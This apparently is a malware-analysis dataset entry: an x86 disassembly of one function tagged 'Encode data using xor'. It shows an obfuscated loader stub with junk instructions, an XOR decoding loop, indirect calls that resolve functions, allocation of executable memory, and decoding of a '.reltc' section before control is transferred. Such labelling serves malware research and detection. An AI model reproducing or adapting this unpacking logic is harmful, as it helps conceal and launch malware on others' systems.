Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf4a9015f
add ebx, 0xb873aa36
dec ebx
popal
mov eax, 0x8ff7d3c2
inc eax
mov ebx, 0
mov edi, esi
add edx, eax
and eax, edx
mov ecx, edi
sub eax, 0x1894d830
add edx, eax
mov esi, ecx
sub eax, 0x217dbba7
not eax
inc ebx
and eax, eax
or eax, edx
cmp ebx, 0x100c13d
jne 0xa789c5
sub edx, 0x43b23630
inc edx
or eax, eax
mov eax, 0xc581b391
dec eax
mov edi, 0xa78796
mov edx, ebx
or ebx, esi
or ebx, ebx
mov ecx, 0xa7898a
dec ebx
add edx, 1
mov eax, dword [edi]
inc ebx
add esi, esi
add edx, edx
and eax, 0xff
or ebx, ebx
inc edx
or ebx, esi
xor dword [ecx], eax
add esi, 0xd31375ff
mov esi, ebx
and edx, esi
inc ecx
add ebx, edx
not edx
inc edi
add ebx, 0xe2b18fa6
or ebx, edx
cmp ecx, entry0
jl 0xa78a16
sub esi, edx
not ebx
and ebx, edx
not edx
not ebx
add esi, 0x70413fc6
sub edi, 0xef80ae7
mov ecx, 0xa7898e
not ebx
dec esi
sub ebx, 1
mov ecx, dword [ecx]
sub ebx, edx
or edi, edi
mov ecx, dword [ecx]
mov edx, ebx
add esi, esi
push ecx
mov edx, 0xe070f13a
mov ebx, 0xca122d77
mov ecx, 0xa7898a
sub edx, esi
not ebx
mov ecx, dword [ecx]
add edx, 0x1d6adbe0
inc edi
mov ecx, dword [ecx]
dec edx
sub esi, edi
push 0xa78992
mov esi, edx
add edx, 0xc4205381
call ecx
mov esi, edi
and ebx, edi
mov ecx, dword [esp]
add esp, 4
sub edx, 1
not edx
sub esi, 1
push 0xa7899f
add edi, 0x28597115
dec edx
sub esp, 4
mov dword [esp], eax
mov edi, 0xcfa8cdd2
mov edx, ebx
call ecx
sub ebx, 1
not ebx
push 0x40
add edx, ebx
mov edx, 0x767f640c
add edi, edi
push 0x3000
dec ebx
not esi
add ebx, 0xbe22b4f5
push 0x2000077c
add esi, 0x8d7b4e0
add ebx, 0x3f1eb56f
push 0
inc edx
sub edi, 0x9e1cf422
call eax
not edi
dec esi
add eax, 0x200006b7
inc esi
not edx
mov ecx, 0x724cad62
add edx, 0xde792c34
not ebx
mov ebx, 0x56722a60
mov dword [eax], ecx
mov ebx, edx
not esi
mov ecx, dword [eax]
inc esi
and edx, ebx
inc esi
cmp ecx, 0x724cad62
je 0xa78b5e
mov ecx, 0
mov bl, byte [ecx]
or esi, edx
mov edx, edi
dec edx
and edi, ebx
or edx, edx
or eax, eax
or ebx, eax
mov esi, section..reltc
add eax, ebx
mov ebx, eax
and ebx, ebx
mov edi, 0xa78795
mov eax, 0xf97816f0
sub ebx, eax
inc ebx
mov edx, 0
not eax
add ebx, 0x3ec247d8
sub eax, 1
mov ecx, 0xa78796
add eax, eax
sub ebx, 0xeb9652fe
not eax
lea ecx, [edx + ecx]
add eax, eax
or eax, ebx
or eax, eax
mov ecx, dword [ecx]
mov ebx, eax
mov ebx, eax
sub eax, ebx
and ecx, 0xff
or ebx, ebx
sub eax, 0xda4f457a
mov eax, ebx
add edx, 1
not eax
not ebx
dec eax
cmp edx, 0x1f4
jne 0xa78bde
mov edx, 0
inc ebx
mov eax, ebx
not eax
and eax, eax
or ebx, eax
xor dword [esi], ecx
and eax, ebx
dec eax
and eax, eax
add esi, 2
mov ebx, eax
add ebx, ebx
cmp esi, edi
jl 0xa78b96
sub ebx, eax
sub eax, ebx
and ebx, ebx
sub ebx, 0xb2b5753c
add ebx, ebx
mov ebx, section..reltc
mov eax, 0xe64455a
not eax
mov eax, esi
mov edi, section..reltc
sub eax, 0x73cc867b
add esi, esi
mov edx, 0xa78795
inc esi
sub eax, esi
add esi, eax
mov ecx, 0
mov eax, esi
add eax, 0x6fd1b425
sub eax, 0x9cb135eb
mov cl, byte [edi]
and eax, eax
add eax, 0x40af5762
mov byte [ebx], cl
sub eax, 0xc8416eb9
not eax
inc ebx
or esi, eax
or esi, eax
inc eax
add edi, 2
sub eax, esi
and esi, esi
sub esi, 0xc77139a4
cmp edi, edx
jle 0xa78c46
add eax, 1
add esi, eax
or eax, eax
mov ebx, 0xe1984231
push 0x8dc6a0
sub eax, 1
sub ebx, 0x581bbd6
ret